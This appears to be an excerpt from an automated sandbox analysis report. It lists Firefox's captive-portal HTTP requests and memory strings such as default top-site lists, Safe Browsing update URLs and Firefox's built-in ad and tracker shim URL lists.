Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B73B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpictureTrue if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpictureTrue if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpictureTrue if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.jscolor-mix(in srgb, currentColor 14%, transparent)https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-jscolor-mix(in srgb, currentColor 25%, transparent)linear-gradient(90deg, #9059FF 0%, #FF4AA2 52.08%, #FFBD4F 100%)https://www.amazon.com/exec/obidos/external-search/://securepubads.g.doubleclick.net/gpt/pubads_impl_.js*://pagead2.googlesyndication.com/gpt/pubads_impl_.js*Microsoft Basic Display Adapter equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.googletagservices.com/tag/js/gpt.js://auth.9c9media.ca/auth/main.jshttps://smartblock.firefox.etp/play.svg://imasdk.googleapis.com/js/sdkloader/ima3.js://www.google-analytics.com/plugins/ua/ec.js://web-assets.toggl.com/app/assets/scripts/.js://cdn.branch.io/branch-latest.min.jshttps://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.js*://static.chartbeat.com/js/chartbeat_video.jsresource://gre/modules/addons/XPIProvider.jsmresource://gre/modules/FileUtils.sys.mjs://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://www.google-analytics.com/gtm/js*://www.googletagmanager.com/gtm.jsFileUtils_closeSafeFileOutputStream://ssl.google-analytics.com/ga.js://.imgur.com/js/vendor..bundle.js://connect.facebook.net//sdk.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpi://static.chartbeat.com/js/chartbeat.js://track.adform.net/serving/scripts/trackpoint/://pub.doubleverify.com/signals/pub.js*://c.amazon-adsystem.com/aax2/apstag.js://static.criteo.net/js/ld/publishertag.jswebcompat-reporter%40mozilla.org:1.5.1://libs.coremetrics.com/eluminate.js://s0.2mdn.net/instream/html5/ima3.js://.vidible.tv//vidible-min.jsresource://gre/modules/ObjectUtils.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3372793946.000001E170AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3362242841.000001E170140000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3361760431.000001E170005000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.3361760431.000001E17000B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3404355837.000001E1778FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-colorresource://builtin-addons/search-detection/https://en.wikipedia.org/wiki/Special:Searchresource://search-extensions/amazondotcom/addons-search-detection%40mozilla.com:2.0.0resource://search-extensions/wikipedia/://ads.stickyadstv.com/user-matching*://www.facebook.com/platform/impression.phpblocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%s equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3406841094.000001E177A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3404355837.000001E177875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3413383423.000003546FF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3372793946.000001E170AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.( equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.( equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
